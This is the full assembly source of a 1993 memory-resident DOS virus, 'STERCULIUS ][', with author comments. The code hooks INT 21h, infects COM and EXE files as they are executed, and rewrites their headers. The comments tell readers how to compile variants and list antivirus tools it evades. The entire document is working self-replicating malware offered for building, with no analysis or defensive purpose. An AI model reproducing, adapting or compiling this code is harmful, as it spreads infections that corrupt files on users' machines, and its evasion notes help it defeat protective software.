comment $

			       STERCULIUS ][ VIRUS


	This is an 'upgrade build' of CRYPT #18's STERCULIUS virus.
	I have made some changes, in particular STERCULIUS ][ now infects
	EXE files as well as COM files.

	The procedure to infect EXE files is rather simple:

	Sterculius installs itself and its INT 21h handler in the memory
	'hole' located after the interrupt vector table (reference:
	CRYPT #18). The INT 21h handler checks when a file is executed;
	then it opens it and determines whether it is a COM or an EXE
	file by checking for a 'MZ' or 'ZM' at the beginning of the file.

	After the nature of the file has been determined, the virus proceeds
	to read to EXE header and to modify the entry point field (CS:IP)
	and the size of the load module/file (how many bytes get loaded from
	the file to memory) on the header.

	Then, infection takes place and the new EXE header is written to
	the file.

	Note that no change is made to the stack segment and the offset of
	the original EXE infected file (SS:SP); in other words the virus
	does not have its own stack segment and offset. I considered this
	to be unnecessary since all well written EXE programs have a stack
	segment (SS) far up in memory from the code segment (CS). The
	danger of the virus corrupting itself when using the stack is
	non-existent, considering the size of the virus and the fact that
	on the installation part of STERCULIUS ][ the stack is barely used.

	The challenge when writing this 'upgrade' was to keep the code small
	enough so it would work properly not corrupt the BIOS data
	loaded by IO.SYS / IBMIO.SYS at segment 0040.

	Some original features of STERCULIUS have been commented out, to
	downsize the code, but in most cases the virus will work perfectly
	if they are included. 

	Here is how to make you own STERCULIUS ][ variant:

	Variant 1:
		  Uncomment (take out the ';' before the instructions)
		  in the following labeled parts:

		  Save Attributes
		  Restore Attributes

		  Compile and link.

	Variant 2:
		  Uncomment the following labeled parts:

		  Save Date and time
		  Restore Date and Time

		  Compile and link.

	Variant 3:
		  Uncomment the following labeled parts:

		  Save Date and time
		  Restore Date and Time

		  Save Attributes
		  Restore Attributes

		  Compile and link.


	K”hntark.

$


;*****************************************************************************
;          STERCULIUS ][ VIRUS
;
; AUTHOR:  K”hntark 
; DATE:    SEPTEMBER 1993
; Memory Resident COM, EXE infector
;
; Success:  F-prot 2.09D - VIRSTOP
;           VIREX 2.8
;           MSAV - will give warning, if 'continue' is pressed the
;                  all infections will go undetected
;           -D   -will install but -D will regain control of the INT 21
;           TBMEM 6.05 - will crash as it installs some instructions in the
;                        middle of the hole where Sterculius ][ resides
;
;
;*****************************************************************************

.model tiny
.code
		org 100h

START:                                                 
		db      0E9h,03,00,'S'   ;Jump to Virus_Entry / infection ID

FAKE_HOST:                                
		int     20h              ;host file terminate

;-----------------------------------------------------------------------------
VIRUS_ENTRY:

		call    INITIALIZE

F_NAME:         db      'STERCULIUS ]['      ;The Roman god of feces

INITIALIZE:
		pop     si
		sub     si,3
		
		push    es                   ;save original ES
		push    ds                   ;save original DS
		
		push    cs                   ;fix DS and ES
		push    cs
		pop     es                   ;ES=CS
		pop     ds                   ;DS=CS
		mov     bp,si                ;save si

		cmp     WORD PTR [si + EXE_FLAG - VIRUS_ENTRY],00
		jne     EXE_SKIP

;*****************                
; Restore host
;*****************
		
		cld
		lea     si,[si + HOST_STUB - VIRUS_ENTRY]
		mov     di,0100h
		movsw             ;from ds:si to es:di
		movsw
		mov     si,bp     ;restore si

EXE_SKIP:

;***************************                
; Check if already resident
;***************************

		xor     ax,ax          ;AX=00
		mov     es,ax          ;ES=00
		mov     di,01E0h
		cmp     WORD PTR es:[di + 3],'TS'
		je      EXIT

		mov     cx,ZIZE
		rep     movsb           ;move virus to 0000:01E0 from ds:si to es:di
		
;***********************                
; Mov INT 21 address
;***********************
		
		sub     di,08        ;position destination pointer at REAL_INT_21
		mov     si,21h * 4
		mov     ds,ax        ;ds=0
		movsw                ;from ds:si to es:di
		movsw 
		
;***********************                
;  Hook INT 21
;***********************

		mov     di,01E0h + OFFSET INT_21_HANDLER - OFFSET VIRUS_ENTRY
		cli                           ;disable interrupts
		mov     WORD PTR [si - 4],di  ;address of INT 21 handler
		mov     WORD PTR [si - 2],ax  
		sti                           ;enable interrupts  

EXIT:
		pop     ds                   ;restore original ES
		pop     es                   ;restore original ES      

		cmp     WORD PTR cs:[bp + EXE_FLAG - VIRUS_ENTRY],00
		jne     EXE_RETURN

		mov     ax,0100h
		push    ax
		ret                 ;return to host

EXE_RETURN:
		mov    bx,ds
		add    bx,low 10h
		mov    cx,bx

		add    cx,WORD PTR cs:[bp + CSIP - VIRUS_ENTRY + 2]
		push   cx
		push   WORD PTR cs:[bp + CSIP - VIRUS_ENTRY]
		db     0CBh                                   ;retf

;----------------------------------------------------------------------------

CSIP:
		dd      0
EXE_FLAG:       
		dw      0

NEW_HOST_ENTRY:
		db      0E9h,00,00,'S'

INT_21:
		pushf  
		call  DWORD PTR cs:[REALL_INT_21]
		ret
		 
QUICK_EXIT:         jmp     QUICK_OUT
RESTORE_ATTRIBUTES: jmp     RESTORE_ATTRIBUTESS
CLOSE_FILE:         jmp     CLOSE_FILEE

;----------------------------------------------------------------------------
INT_21_HANDLER:

		 cmp     ah,4Bh           ;execute a file?
		 jne     QUICK_EXIT       ;quick exit handler
		 
		 push ax
		 push bx
		 push cx
		 push dx
		 push ds
		 push es
		 push si
		 push di
		 push bp
		 pushf

		 push    cs 
		 pop     es                   ;ES=CS

;***********************                
;  1-Save Attributes
;***********************

		; mov     ax,4300h
		; call    INT_21
		; push    cx         ;save attributes to stack
		; push    ds
		; push    dx         ;ds:dx = pathname to file

;***********************                
;  2-Klear Attributes
;***********************

		 xor     cx,cx
		 mov     ax,4301h
		 call    INT_21
		 jc      QUICK_EXIT

;***********************                
;  3-Open File
;***********************

		 mov     ax,3D02h
		 call    INT_21
		 jc      RESTORE_ATTRIBUTES
		 xchg    bx,ax         ;file handle to bx

;***********************                
;  4-Save Date & time
;***********************
		 
		 ;mov   ax,5700h
		 ;call  INT_21
		 ;push  dx              ;save date
		 ;push  cx              ;save time

;********************************
;  5-Read 26 bytes / EXE header
;********************************

		mov     cx,26d               ;# of bytes to read
		mov     dx,HOST_STUBB        ;buffer to read 4 / 26 bytes to
		mov     si,dx
		push    cs
		pop     ds                   ;ds=cs

		mov     ah,3Fh
		call    INT_21               ;read to ds:dx
		jc      CLOSE_FILE

;***********************                
;  6-Check File
;***********************

		cmp     WORD PTR [si],'ZM'     ;EXE file?
		je      CHECK_EXE
		cmp     WORD PTR [si],'MZ'     ;EXE file?
		je      CHECK_EXE
		cmp     BYTE PTR [si + 3],'S'  ;infected COM file?
		je      CLOSE_FILE

		mov     di,OFFSET EXE_FLAGG    ;mark COM infection
		mov     WORD PTR [di],00  ;COM
		xor     di,di
		jmp     short SKIP
		
;***********************                
;  7-Check EXE
;***********************

CHECK_EXE:
		cmp     WORD PTR [si + 12h],ID  ;infected EXE?
		je      CLOSE_FILE
		cmp     WORD PTR [si + 18h],40h ;WINDOWS EXE?
		je      CLOSE_FILE

;                cmp     WORD PTR [si + 1Ah],00  ;internal overlay EXE?
;                jne     CLOSE_FILE

		mov     di,EXE_FLAGG      ;MARK EXE infection
		mov     WORD PTR [di],01  ;EXE
		mov     di,01

SKIP:

;***********************                
;  8-File PTR @EOF
;***********************
		
		mov     ax,4202h
		xor     cx,cx
		xor     dx,dx              ;cx = dx = 00
		call    INT_21

		cmp     di,00    ;COM?
		jne     DO_EXE

;------------------------------------------------------???????????????????
		
		sub     ax,03     ;fix file size 
		mov     bp,ax     ;address to jump to
		
		jmp     short WRITE_VIRUS

;***********************                
;  9-SAVE CS:IP
;***********************

DO_EXE:
		
		push     bx       ;save file handle
		push     si
		push     di
		cld
		mov      di,CSIPP
		add      si,14h         ;CS:IP in EXE hdr
		movsw                   ;from ds:si
		movsw                   ;to   es:di
		pop      di
		pop      si

;**********************************                
;  10-CALCULATE / INSERT NEW CS:IP
;**********************************

		mov      bx,WORD PTR [si + 8] ;header size in paragraphs
		mov      cl,04
		shl      bx,cl                ;multiply by 16

		push     ax
		push     dx                   ;save filesize

		sub      ax,bx                ;file size - header size
		sbb      dx,00                ;fix upper half of size

		mov      cl,0Ch
		shl      dx,cl                ;dx * 4096
		mov      bx,ax
		mov      cl,4
		shr      bx,cl                ;ax / 16
		add      dx,bx                ;CS = dx * 4096 + ax / 16
		and      ax,0Fh               ;IP = ax and 0Fh

		mov      WORD PTR [si + 12h],ID 
		mov      WORD PTR [si + 14h],ax ;IP
		mov      WORD PTR [si + 16h],dx ;CS

		pop      dx
		pop      ax                   ;restore filesize

;**********************************                
;  11-CALCULATE / INSERT FILESIZE
;**********************************
		
		add      ax,ZIZE  ;add virus size
		adc      dx,00    ;add virus size

		push     ax
		mov      cl,09h   ;2^9 = 512
		ror      dx,cl    ;dx / 512
		shr      ax,cl    ;ax / 512
		stc               ;set carry flag
		adc      dx,ax
						  pop      cx       ;original ax
		and      ch,01    ;mod 512

		mov      WORD PTR [si + 4],dx ;page count
		mov      WORD PTR [si + 2],cx ;remainder

		pop      bx                    ;restore file handle

;***********************                
;  12-Write Virus
;***********************

WRITE_VIRUS:

	       mov     ah,40h
	       mov     cx,ZIZE    ;cx = #of bytes
	       mov     dx,01E0h   ;dx = write from here
	       call    INT_21

;***********************                
;  13-Set PTR @BOF
;***********************
		
	       mov     ax,4200h  
	       xor     cx,cx
	       xor     dx,dx               ;cx = dx = 00
	       call    INT_21

	       cmp     di,01     ;EXE?
	       je      WRITE_EXE_HDR

;***********************                
;  14-Write new jump
;***********************

	       mov     cx,4                      ;# of bytes to write
	       mov     dx,NEW_HOST_ENTRYY        ;dx = write from here
	       mov     si,dx
	       mov     WORD PTR [si + 1],bp      ;insert new address
	       jmp     short CONT 

;***********************                
;  15-Write new EXE hdr
;***********************
 
WRITE_EXE_HDR:                
	       mov     cx,24d               ;# of bytes to write
	       mov     dx,HOST_STUBB        ;buffer to write 4 bytes from
	       
CONT:               
	       mov     ah,40h
	       call    INT_21

CLOSE_FILEE:  
		
;*************************                
;  16-Restore Date & time
;*************************
		 
	       ;pop   cx       ;restore time
	       ;pop   dx       ;restore date
	       ;mov   ax,5701h
	       ;call  INT_21

;***********************                
;  17-Klose File
;***********************
	       
	       mov     ah,3Eh 
	       call    INT_21
		 
;************************                
;  18-Restore Attributes
;************************

RESTORE_ATTRIBUTESS:
	       
	      ; mov     ax,4301h
	      ; pop     dx         ;ds:dx = pathname to file
	      ; pop     ds         ;restore pathname
	      ; pop     cx         ;restore old attributes
	      ; call    INT_21

;***********************                
;  Restore registers
;***********************

EXIT_HANDLER:                   
		 popf
		 pop  bp
		 pop  di
		 pop  si
		 pop  es
		 pop  ds
		 pop  dx
		 pop  cx
		 pop  bx
		 pop  ax
		
QUICK_OUT:       db   0EAh                      ; jmp OFFSET:SEGMENT
REAL_INT_21:     db   00,00,00,00
HOST_STUB:       db   90h,090h,090h,090h        ;4 byte COM stub / EXE HDR  
		   
END_VIRUS:                

;-----------------------------------------------------------------------------

ZIZE             equ     OFFSET END_VIRUS              - VIRUS_ENTRY 
REALL_INT_21     equ     01E0h + OFFSET REAL_INT_21    - OFFSET VIRUS_ENTRY
HOST_STUBB       equ     01E0h + OFFSET HOST_STUB      - OFFSET VIRUS_ENTRY     
NEW_HOST_ENTRYY  equ     01E0h + OFFSET NEW_HOST_ENTRY - OFFSET VIRUS_ENTRY
CSIPP            equ     01E0h + OFFSET CSIP           - OFFSET VIRUS_ENTRY
EXE_FLAGG        equ     01E0h + OFFSET EXE_FLAG       - OFFSET VIRUS_ENTRY
ID               equ     7777h

END             START
		

